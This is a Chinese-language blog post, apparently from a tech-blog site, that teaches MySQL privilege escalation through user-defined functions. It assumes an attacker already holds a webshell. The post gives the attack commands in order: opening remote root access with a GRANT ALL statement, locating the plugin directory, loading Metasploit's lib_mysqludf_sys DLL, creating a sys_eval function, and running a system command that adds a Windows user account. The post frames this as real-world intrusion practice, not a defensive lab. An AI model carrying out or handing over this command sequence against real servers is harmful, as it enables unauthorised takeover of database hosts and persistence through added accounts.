MySQL提权之UDF

MySQL提权之UDF

1.什么是UDF

UDF(user defined function),即 “用户自定义函数”。是通过添加新函数,对MySQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()

2.UDF提权思路

1.将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
2.从udf文件中引入自定义函数(user defined function)
3.执行自定义函数
注:udf 文件可以通过msf获取,msf内置了mysql udf提权的dll文件,linux的则为so文件。

3.UDF提权步骤

在实战中我们得到了服务器的webshell的权限后当通过其他方式提权失败后,可以考虑通过翻阅数据库配置文件、存储文件、暴力破解等方式获取数据库高权限账号密码为,MySQL UDF提取做准备。

3.1 MySQL提权条件:

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件验证是否可写(满足条件的基本上是root用户了)

3.2 执行步骤
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
//通过蚁剑连上webshell后输入数据库的账号密码连上数据库,若数据库不支持外连则通过上述数据开启外连
注:root用户默认不支持外连,通过该语句开启数据外连

开启外连

show global variables like 'secure%';
可以通过数据库外连工具连接mysql,通过如下查询语句查询是否允许写入

查询是否允许写入

注:当secure_file_priv的值为NULL时,表示不对mysqld 的导入或导出做限制。
关于secure_file_priv 参数的具体说明可以参考:secure_file_priv参数说明

select version()    #查看数据库版本
//判断数据库版本主要是为了将udf.dll导入到哪个目录
//Mysql>5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下

请添加图片描述

select @@basedir    #查看数据库安装目录
//通过安装目录可以用webshell定位MySQL安装目录进而找到创建plugin目录

请添加图片描述

版本大于5.1 故新建plugin目录

请添加图片描述

可以通过msf的/usr/share/metasploit-framework/data/exploits/mysql目录获取已经写好的dll文件
注:dll或so为分为32位跟64位,且so用于linux中的udf提权,dll用于windows中的udf提权

请添加图片描述

复制32位的dll文件到plugin目录(测试环境为64位的windows,64位系统兼容32位的dll)

请添加图片描述

create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';
//创建sys_eval执行函数

请添加图片描述

select sys_eval ("net user  test 123,abc /add")
//执行命令

请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值